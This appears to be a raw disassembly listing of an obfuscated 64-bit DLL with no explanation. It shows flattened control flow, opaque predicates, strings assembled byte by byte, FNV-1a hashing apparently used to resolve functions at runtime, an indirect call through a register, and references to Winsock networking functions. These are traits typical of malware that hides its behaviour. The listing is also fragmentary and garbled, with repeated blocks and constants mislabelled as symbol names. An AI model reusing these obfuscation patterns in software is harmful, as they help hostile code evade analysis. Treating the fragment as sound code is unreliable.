add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x180026a90
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 1], cl
mov dword [rsp + 0x28], 0x61
mov edx, 0x30c61536
nop dword [rax + rax]
cmp edx, 0x9676bf67
je 0x180026bc3
cmp edx, 0x30c61536
jne 0x180026b00
mov ecx, 0xf49a1f4d
nop dword [rax]
cmp ecx, 0xf49a1f4d
je 0x180026b32
cmp ecx, 0x7836757f
jne 0x180026b20
jmp 0x180026b39
mov ecx, 0x7836757f
jmp 0x180026b20
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x180026b00
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 2], cl
mov dword [rsp + 0x28], WSAStartup
mov edx, 0x30c61536
nop dword [rax + rax]
cmp edx, 0x9676bf67
je 0x180026c33
cmp edx, 0x30c61536
jne 0x180026b70
mov ecx, 0xf49a1f4d
nop dword [rax]
cmp ecx, 0xf49a1f4d
je 0x180026ba2
cmp ecx, 0x7836757f
jne 0x180026b90
jmp 0x180026ba9
mov ecx, 0x7836757f
jmp 0x180026b90
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x180026b70
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 2], cl
mov dword [rsp + 0x28], WSAStartup
mov edx, 0x30c61536
nop dword [rax + rax]
cmp edx, 0x9676bf67
je 0x180026ca3
cmp edx, 0x30c61536
jne 0x180026be0
mov ecx, 0xf49a1f4d
nop dword [rax]
cmp ecx, 0xf49a1f4d
je 0x180026c12
cmp ecx, 0x7836757f
jne 0x180026c00
jmp 0x180026c19
mov ecx, 0x7836757f
jmp 0x180026c00
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x180026be0
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 3], cl
mov dword [rsp + 0x28], 0x79
mov edx, 0x30c61536
nop dword [rax + rax]
cmp edx, 0x9676bf67
je 0x180026d13
cmp edx, 0x30c61536
jne 0x180026c50
mov ecx, 0xf49a1f4d
nop dword [rax]
cmp ecx, 0xf49a1f4d
je 0x180026c82
cmp ecx, 0x7836757f
jne 0x180026c70
jmp 0x180026c89
mov ecx, 0x7836757f
jmp 0x180026c70
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x180026c50
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 3], cl
mov dword [rsp + 0x28], 0x79
mov edx, 0x30c61536
nop dword [rax + rax]
cmp edx, 0x9676bf67
je 0x180026d83
cmp edx, 0x30c61536
jne 0x180026cc0
mov ecx, 0xf49a1f4d
nop dword [rax]
cmp ecx, 0xf49a1f4d
je 0x180026cf2
cmp ecx, 0x7836757f
jne 0x180026ce0
jmp 0x180026cf9
mov ecx, 0x7836757f
jmp 0x180026ce0
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x180026cc0
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 4], cl
mov dword [rsp + 0x28], 0x41
mov edx, 0x30c61536
nop dword [rax + rax]
cmp edx, 0x9676bf67
je 0x180026df3
cmp edx, 0x30c61536
jne 0x180026d30
mov ecx, 0xf49a1f4d
nop dword [rax]
cmp ecx, 0xf49a1f4d
je 0x180026d62
cmp ecx, 0x7836757f
jne 0x180026d50
jmp 0x180026d69
mov ecx, 0x7836757f
jmp 0x180026d50
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x180026d30
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 4], cl
mov dword [rsp + 0x28], 0x41
mov edx, 0x30c61536
nop dword [rax + rax]
cmp edx, 0x9676bf67
je 0x180026e41
cmp edx, 0x30c61536
jne 0x180026da0
mov ecx, 0xf49a1f4d
nop dword [rax]
cmp ecx, 0xf49a1f4d
je 0x180026dd2
cmp ecx, 0x7836757f
jne 0x180026dc0
jmp 0x180026dd9
mov ecx, 0x7836757f
jmp 0x180026dc0
mov dword [rsp + 0x40], 8
mov ecx, dword [rsp + 0x40]
movsx ecx, cl
add ecx, dword [rsp + 0x28]
mov edx, 0x9676bf67
jmp 0x180026da0
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 5], cl
mov byte [rax + 6], 0
mov eax, dword [0x1801294e0]
mov ecx, dword [0x1801294e4]
lea edx, [rax - 1]
imul edx, eax
and dl, 1
cmp ecx, 0xa
setl al
xor al, dl
mov eax, 0xb557e4ce
mov ebp, 0x90d50abe
cmovne eax, ebp
test dl, dl
mov edx, 0xb557e4ce
cmove eax, edx
cmp ecx, 0xa
cmovl eax, edx
jmp 0x180024880
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x40]
mov byte [rax + 5], cl
mov byte [rax + 6], 0
mov eax, 0x6e794a57
jmp 0x180024880
lea rcx, [rsp + 0xc0]
call fcn.18002c300
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r15d, 0x9302de66
mov ecx, 0x7343bfbc
cmove r15d, ecx
mov r12d, 0x181b9de8
cmove r12d, ecx
mov ecx, 0x28ad3f39
mov r8d, 0x87cbc1a8
mov r9d, 0xfe90a09c
mov r10d, 0x1dd0b01
mov r11d, 0x5cca55f5
mov r14d, 0xfb306983
movabs r13, 0xcbf29ce484222325
jmp 0x180026f10
mov ecx, dword [rsp + 0x40]
mov rcx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, 0x181b9de8
nop word cs:[rax + rax]
cmp ecx, 0xfe90a09b
jle 0x180026f80
cmp ecx, 0x333d8297
jle 0x180026fd0
cmp ecx, 0x5cca55f4
jg 0x18002704a
cmp ecx, 0x333d8298
je 0x180027104
cmp ecx, 0x33ec62ab
je 0x180027117
cmp ecx, 0x42d422e5
jne 0x180026f10
mov dword [rsp + 0x30], esi
mov ecx, dword [rsp + 0x30]
movsx ecx, byte [rax + rcx]
mov dword [rsp + 0x60], ecx
mov ecx, dword [rsp + 0x60]
cmp ecx, 0x20
mov ecx, 0xbb6ed30e
cmovge ecx, r14d
jmp 0x180026f10
cmp ecx, 0xc5fd57a7
jle 0x180027010
cmp ecx, 0xeb000b68
jg 0x18002707a
cmp ecx, 0xc5fd57a8
je 0x180027125
cmp ecx, 0xd1e81d16
je 0x180027131
cmp ecx, 0xd597d4ff
jne 0x180026f10
mov ecx, 0x42d422e5
mov esi, dword [rsp + 0x4c]
jmp 0x180026f10
cmp ecx, 0x12a1b9d7
jle 0x1800270a8
cmp ecx, 0x12a1b9d8
je 0x180027144
cmp ecx, 0x181b9de8
je 0x180027153
cmp ecx, 0x28ad3f39
jne 0x180026f10
mov ecx, 0x73f80f82
jmp 0x180026f10
cmp ecx, 0xb163ad29
jle 0x1800270d6
cmp ecx, 0xb163ad2a
je 0x180027189
cmp ecx, 0xb9d33223
je 0x1800271ad
cmp ecx, 0xbb6ed30e
jne 0x180026f10
mov ecx, 0x12a1b9d8
jmp 0x180026f10
cmp ecx, 0x5cca55f5
je 0x1800271bb
cmp ecx, 0x7343bfbc
je 0x180026ecd
cmp ecx, 0x73f80f82
jne 0x180026f10
mov ecx, 0x42d422e5
xor esi, esi
jmp 0x180026f10
cmp ecx, 0xeb000b69
je 0x1800271d0
cmp ecx, 0xfb306983
jne 0x180027235
mov ecx, dword [rsp + 0x60]
cmp ecx, 0x7f
setl byte [rsp + 0x5e]
mov ecx, 0x333d8298
jmp 0x180026f10
cmp ecx, 0xfe90a09c
je 0x1800271f1
cmp ecx, 0x1dd0b01
jne 0x180026f10
mov ecx, dword [rsp + 0x48]
cmp ecx, 0x5b
setl byte [rsp + 0x64]
mov ecx, 0xd1e81d16
jmp 0x180026f10
cmp ecx, 0x87cbc1a8
je 0x18002721f
cmp ecx, 0x9302de66
jne 0x180026f10
mov rbp, qword [rsp + 0x90]
mov ecx, 0xb163ad2a
mov edi, dword [rsp + 0x38]
jmp 0x180026f10
cmp byte [rsp + 0x5e], 0
mov ecx, 0xbb6ed30e
cmovne ecx, r11d
jmp 0x180026f10
mov ecx, 0xc5fd57a8
mov ebx, dword [rsp + 0x24]
jmp 0x180026f10
mov dword [rsp + 0x40], ebx
mov ecx, r12d
jmp 0x180026f10
cmp byte [rsp + 0x64], 0
mov ecx, 0xb9d33223
cmovne ecx, r9d
jmp 0x180026f10
mov ecx, 0xb163ad2a
xor edi, edi
mov rbp, r13
jmp 0x180026f10
movsxd rcx, dword [rsp + 0x40]
xor rcx, qword [rsp + 0xd0]
movabs rdx, 0x100000001b3
imul rcx, rdx
mov qword [rsp + 0x90], rcx
mov ecx, dword [rsp + 0x28]
add ecx, 1
mov dword [rsp + 0x38], ecx
mov ecx, r15d
jmp 0x180026f10
mov dword [rsp + 0x28], edi
mov qword [rsp + 0xd0], rbp
mov ecx, dword [rsp + 0x30]
mov edx, dword [rsp + 0x28]
cmp edx, ecx
mov ecx, 0xf6d6bd87
cmovb ecx, r8d
jmp 0x180026f10
mov ecx, 0xc5fd57a8
mov ebx, dword [rsp + 0x48]
jmp 0x180026f10
mov ecx, dword [rsp + 0x30]
add ecx, 1
mov dword [rsp + 0x4c], ecx
mov ecx, 0xd597d4ff
jmp 0x180026f10
mov rcx, qword [rsp + 0x50]
movsx ecx, byte [rcx]
mov dword [rsp + 0x48], ecx
mov ecx, dword [rsp + 0x48]
cmp ecx, 0x41
mov ecx, 0xb9d33223
cmovge ecx, r10d
jmp 0x180026f10
mov ecx, dword [rsp + 0x48]
mov edx, ecx
and edx, 0x72963832
or edx, 0x8d414380
and ecx, 0x8d69c7ed
xor ecx, edx
xor ecx, 0x8d4143a0
mov dword [rsp + 0x24], ecx
mov ecx, 0x33ec62ab
jmp 0x180026f10
mov ecx, dword [rsp + 0x28]
add rcx, rax
mov qword [rsp + 0x50], rcx
mov ecx, 0xeb000b69
jmp 0x180026f10
cmp ecx, 0xf6d6bd87
jne 0x180026f10
mov rcx, qword [rsp + 0xd0]
call fcn.1800e9be0
mov r14, rax
mov dword [rsp + 0x50], 0x77
mov dword [rsp + 0xd0], reloc.WS2_32.dll_inet_addr
mov edi, dword [0x1801299a8]
mov esi, dword [0x1801299ac]
lea eax, [rdi - 1]
imul eax, edi
test al, 1
sete al
cmp esi, 0xa
setl cl
or cl, al
mov ebp, 0x3083b171
mov eax, 0xf2e76366
cmove ebp, eax
mov ecx, 0x4996407f
cmove ecx, eax
mov eax, 0x6835acff
nop dword [rax]
cmp eax, 0x3083b170
jle 0x1800272d0
cmp eax, 0x3083b171
je 0x1800272e0
cmp eax, 0x6835acff
je 0x1800272e7
cmp eax, 0x4996407f
jne 0x1800272a0
mov edx, dword [rsp + 0xd0]
mov eax, ebp
jmp 0x1800272a0
cmp eax, 0xf2e76366
je 0x1800272eb
cmp eax, 0xf7e9272d
jne 0x1800272a0
jmp 0x1800272f9
mov eax, 0xf7e9272d
jmp 0x1800272a0
mov eax, ecx
jmp 0x1800272a0
mov eax, dword [rsp + 0xd0]
mov eax, 0x4996407f
jmp 0x1800272a0
mov byte [rsp + 0x90], dl
movsx eax, byte [rsp + 0x90]
mov dword [rsp + 0x90], eax
mov edx, 0xe2d884b2
nop word cs:[rax + rax]
nop
cmp edx, 0xa3d69627
je 0x180027342
cmp edx, 0xe2d884b2
jne 0x180027320
mov eax, dword [rsp + 0x50]
add eax, dword [rsp + 0x90]
mov edx, 0xa3d69627
jmp 0x180027320
mov dword [rsp + 0xd0], eax
mov eax, dword [rsp + 0xd0]
mov byte [rsp + 0xd0], al
mov dword [rsp + 0x40], 0x69
mov dword [rsp + 0x90], reloc.WS2_32.dll_inet_addr
mov eax, 0x6835acff
nop
cmp eax, 0x3083b170
jle 0x1800273a0
cmp eax, 0x3083b171
je 0x1800273b0
cmp eax, 0x6835acff
je 0x1800273b7
cmp eax, 0x4996407f
jne 0x180027370
mov edx, dword [rsp + 0x90]
mov eax, ebp
jmp 0x180027370
cmp eax, 0xf2e76366
je 0x1800273bb
cmp eax, 0xf7e9272d
jne 0x180027370
jmp 0x1800273c9
mov eax, 0xf7e9272d
jmp 0x180027370
mov eax, ecx
jmp 0x180027370
mov eax, dword [rsp + 0x90]
mov eax, 0x4996407f
jmp 0x180027370
mov byte [rsp + 0x50], dl
movsx eax, byte [rsp + 0x50]
mov dword [rsp + 0x50], eax
mov edx, 0xe2d884b2
nop dword [rax + rax]
cmp edx, 0xa3d69627
je 0x1800273ff
cmp edx, 0xe2d884b2
jne 0x1800273e0
mov eax, dword [rsp + 0x40]
add eax, dword [rsp + 0x50]
mov edx, 0xa3d69627
jmp 0x1800273e0
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
mov byte [rsp + 0xd1], al
mov dword [rsp + 0x40], WSAStartup
mov dword [rsp + 0x90], reloc.WS2_32.dll_inet_addr
mov eax, 0x6835acff
nop dword [rax]
cmp eax, 0x3083b170
jle 0x180027460
cmp eax, 0x3083b171
je 0x180027470
cmp eax, 0x6835acff
je 0x180027477
cmp eax, 0x4996407f
jne 0x180027430
mov edx, dword [rsp + 0x90]
mov eax, ebp
jmp 0x180027430
cmp eax, 0xf2e76366
je 0x18002747b
cmp eax, 0xf7e9272d
jne 0x180027430
jmp 0x180027489
mov eax, 0xf7e9272d
jmp 0x180027430
mov eax, ecx
jmp 0x180027430
mov eax, dword [rsp + 0x90]
mov eax, 0x4996407f
jmp 0x180027430
mov byte [rsp + 0x50], dl
movsx eax, byte [rsp + 0x50]
mov dword [rsp + 0x50], eax
mov edx, 0xe2d884b2
nop dword [rax + rax]
cmp edx, 0xa3d69627
je 0x1800274bf
cmp edx, 0xe2d884b2
jne 0x1800274a0
mov eax, dword [rsp + 0x40]
add eax, dword [rsp + 0x50]
mov edx, 0xa3d69627
jmp 0x1800274a0
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
mov byte [rsp + 0xd2], al
mov dword [rsp + 0x40], 0x68
mov dword [rsp + 0x90], reloc.WS2_32.dll_inet_addr
mov eax, 0x6835acff
nop dword [rax]
cmp eax, 0x3083b170
jle 0x180027520
cmp eax, 0x3083b171
je 0x180027530
cmp eax, 0x6835acff
je 0x180027537
cmp eax, 0x4996407f
jne 0x1800274f0
mov edx, dword [rsp + 0x90]
mov eax, ebp
jmp 0x1800274f0
cmp eax, 0xf2e76366
je 0x18002753b
cmp eax, 0xf7e9272d
jne 0x1800274f0
jmp 0x180027549
mov eax, 0xf7e9272d
jmp 0x1800274f0
mov eax, ecx
jmp 0x1800274f0
mov eax, dword [rsp + 0x90]
mov eax, 0x4996407f
jmp 0x1800274f0
mov byte [rsp + 0x50], dl
movsx eax, byte [rsp + 0x50]
mov dword [rsp + 0x50], eax
mov edx, 0xe2d884b2
nop dword [rax + rax]
cmp edx, 0xa3d69627
je 0x18002757f
cmp edx, 0xe2d884b2
jne 0x180027560
mov eax, dword [rsp + 0x40]
add eax, dword [rsp + 0x50]
mov edx, 0xa3d69627
jmp 0x180027560
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
mov byte [rsp + 0xd3], al
mov dword [rsp + 0x40], 0x74
mov dword [rsp + 0x90], reloc.WS2_32.dll_inet_addr
mov eax, 0x6835acff
nop dword [rax]
cmp eax, 0x3083b170
jle 0x1800275e0
cmp eax, 0x3083b171
je 0x1800275f0
cmp eax, 0x6835acff
je 0x1800275f7
cmp eax, 0x4996407f
jne 0x1800275b0
mov edx, dword [rsp + 0x90]
mov eax, ebp
jmp 0x1800275b0
cmp eax, 0xf2e76366
je 0x1800275fb
cmp eax, 0xf7e9272d
jne 0x1800275b0
jmp 0x180027609
mov eax, 0xf7e9272d
jmp 0x1800275b0
mov eax, ecx
jmp 0x1800275b0
mov eax, dword [rsp + 0x90]
mov eax, 0x4996407f
jmp 0x1800275b0
mov byte [rsp + 0x50], dl
movsx eax, byte [rsp + 0x50]
mov dword [rsp + 0x50], eax
mov ecx, 0xe2d884b2
nop dword [rax + rax]
cmp ecx, 0xa3d69627
je 0x18002763f
cmp ecx, 0xe2d884b2
jne 0x180027620
mov eax, dword [rsp + 0x40]
add eax, dword [rsp + 0x50]
mov ecx, 0xa3d69627
jmp 0x180027620
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
mov byte [rsp + 0xd4], al
lea rax, [rsp + 0xd5]
mov qword [rsp + 0x40], rax
lea rax, [0x18011f9cb]
mov qword [rsp + 0x50], rax
mov eax, 0x3bfc62f8
mov r9d, 0x65f6a2ab
mov r10d, 0x723c2be4
mov r11d, 0x3083b171
mov r15d, 0x4996407f
mov r8d, 0x84a79d0d
mov ecx, dword [0x1801296f0]
mov edx, dword [0x1801296f4]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete bpl
cmp edx, 0xa
setge cl
xor cl, bpl
mov ecx, 0x723c2be4
cmovne ecx, r9d
cmp edx, 0xa
cmovl ecx, r10d
test bl, 1
cmove ecx, r10d
nop dword [rax]
cmp eax, 0x3bfc62f7
jle 0x180027700
cmp eax, 0x3bfc62f8
je 0x180027713
cmp eax, 0x65f6a2ab
je 0x180027720
cmp eax, 0x723c2be4
jne 0x1800276d0
jmp 0x1800277c0
cmp eax, 0x84a79d0d
je 0x180027717
cmp eax, 0x39050d2
jne 0x1800276d0
jmp 0x1800282d4
mov eax, ecx
jmp 0x1800276d0
mov eax, 0x39050d2
jmp 0x1800276d0
mov rax, qword [rsp + 0x50]
movsx eax, byte [rax]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x28], reloc.WS2_32.dll_inet_addr
lea eax, [rdi - 1]
imul eax, edi
test al, 1
sete al
cmp esi, 0xa
setl cl
or cl, al
mov eax, 0xf2e76366
cmovne eax, r11d
mov ecx, 0xf2e76366
cmovne ecx, r15d
mov esi, 0x6835acff
nop
cmp esi, 0x3083b170
jle 0x180027790
cmp esi, 0x3083b171
je 0x1800277a5
cmp esi, 0x6835acff
je 0x1800277ac
cmp esi, 0x4996407f
jne 0x180027760
mov edx, dword [rsp + 0x28]
mov esi, eax
jmp 0x180027760
cmp esi, 0xf2e76366
je 0x1800277b0
cmp esi, 0xf7e9272d
jne 0x180027760
jmp 0x180027860
mov esi, 0xf7e9272d
jmp 0x180027760
mov esi, ecx
jmp 0x180027760
mov esi, dword [rsp + 0x28]
mov esi, 0x4996407f
jmp 0x180027760
mov rax, qword [rsp + 0x50]
movsx eax, byte [rax]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x28], reloc.WS2_32.dll_inet_addr
lea eax, [rdi - 1]
imul eax, edi
test al, 1
sete al
cmp esi, 0xa
setl cl
or cl, al
mov eax, 0xf2e76366
cmovne eax, r11d
mov ecx, 0xf2e76366
cmovne ecx, r15d
mov esi, 0x6835acff
nop
cmp esi, 0x3083b170
jle 0x180027830
cmp esi, 0x3083b171
je 0x180027842
cmp esi, 0x6835acff
je 0x180027849
cmp esi, 0x4996407f
jne 0x180027800
mov edx, dword [rsp + 0x28]
mov esi, eax
jmp 0x180027800
cmp esi, 0xf2e76366
je 0x18002784d
cmp esi, 0xf7e9272d
jne 0x180027800
jmp 0x1800278a0
mov esi, 0xf7e9272d
jmp 0x180027800
mov esi, ecx
jmp 0x180027800
mov esi, dword [rsp + 0x28]
mov esi, 0x4996407f
jmp 0x180027800
mov byte [rsp + 0x30], dl
movsx eax, byte [rsp + 0x30]
mov dword [rsp + 0x30], eax
mov ecx, 0xe2d884b2
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xa3d69627
je 0x1800278f0
cmp ecx, 0xe2d884b2
jne 0x180027880
mov eax, dword [rsp + 0x38]
add eax, dword [rsp + 0x30]
mov ecx, 0xa3d69627
jmp 0x180027880
mov byte [rsp + 0x30], dl
movsx eax, byte [rsp + 0x30]
mov dword [rsp + 0x30], eax
mov ecx, 0xe2d884b2
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xa3d69627
je 0x1800279b0
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
mov byte [rcx], al
mov rbx, qword [rsp + 0x40]
mov dword [rsp + 0x38], WSAStartup
mov dword [rsp + 0x28], reloc.WS2_32.dll_inet_addr
mov eax, dword [0x1801299a8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1801299ac], 0xa
setl cl
or cl, al
mov eax, 0xf2e76366
cmovne eax, r11d
mov ecx, 0xf2e76366
cmovne ecx, r15d
mov esi, 0x6835acff
nop dword [rax]
cmp esi, 0x3083b170
jle 0x180027980
cmp esi, 0x3083b171
je 0x180027995
cmp esi, 0xf2e76366
je 0x1800279a0
mov rax, qword [rsp + 0x90]
mov cl, byte [rsp + 0x24]
mov byte [rax], cl
mov rax, qword [rsp + 0x90]
mov byte [rax + 1], 0
lea r15, [rsp + 0xd0]
mov rcx, r15
call fcn.18002c520
mov rcx, rax
call r14
mov rax, qword [rsp + 0x80]
mov eax, 0xe598a1d9
mov r8d, 0x7599a2b0
mov r9d, 0x83297cfa
mov r11d, 0xbee87c5f
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xec0ee6d1
jle 0x180028350
cmp eax, 0xec0ee6d2
je 0x180028397
cmp eax, 0x7599a2b0
jne 0x180028330
jmp 0x180028e5e
cmp eax, 0x875b1505
je 0x1800283ca
cmp eax, 0xe598a1d9
jne 0x180028330
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov byte [rax], 0x70
mov rbx, qword [rsp + 0x40]
mov eax, 0xe9d480ca
nop word cs:[rax + rax]
nop
cmp eax, 0xe9d480ca
je 0x180028390
cmp eax, 0xc90d7af6
jne 0x180028380
jmp 0x1800283e8
mov eax, 0xc90d7af6
jmp 0x180028380
mov rax, qword [rsp + 0x50]
mov cl, byte [rsp + 0x48]
mov byte [rax], cl
mov r10, qword [rsp + 0x50]
mov eax, 0xe9d480ca
nop dword [rax]
cmp eax, 0xe9d480ca
je 0x1800283c3
cmp eax, 0xc90d7af6
jne 0x1800283b0
jmp 0x1800284a1
mov eax, 0xc90d7af6
jmp 0x1800283b0
mov byte [r10], 0
add r10, 1
cmp r10, qword [rsp + 0x90]
mov eax, 0x875b1505
cmove eax, r8d
jmp 0x180028330
mov dword [rsp + 0x28], WSAStartup
mov eax, dword [0x1801299b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rsp + 0x24]
mov eax, dword [0x1801299bc]
mov ecx, 0xf98a18c5
cmove ecx, r9d
cmp eax, 0xa
setl byte [rsp + 0x38]
mov al, byte [rsp + 0xd0]
cmovl ecx, r9d
mov edx, 0xdb7f0c97
nop word cs:[rax + rax]
nop
cmp edx, 0xdb7f0c96
jle 0x180028530
lea r14, [rsp + 0xd0]
mov rcx, r14
call fcn.18002c700
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r15d, 0x9302de66
mov ecx, 0x7343bfbc
cmove r15d, ecx
mov r13d, 0x181b9de8
cmove r13d, ecx
mov ecx, 0x28ad3f39
mov r8d, 0x87cbc1a8
mov r9d, 0xfe90a09c
mov r10d, 0x1dd0b01
mov r11d, 0x5cca55f5
mov r12d, 0xfb306983
jmp 0x180028f10
cmp ecx, 0xfe90a09b
jle 0x180028f80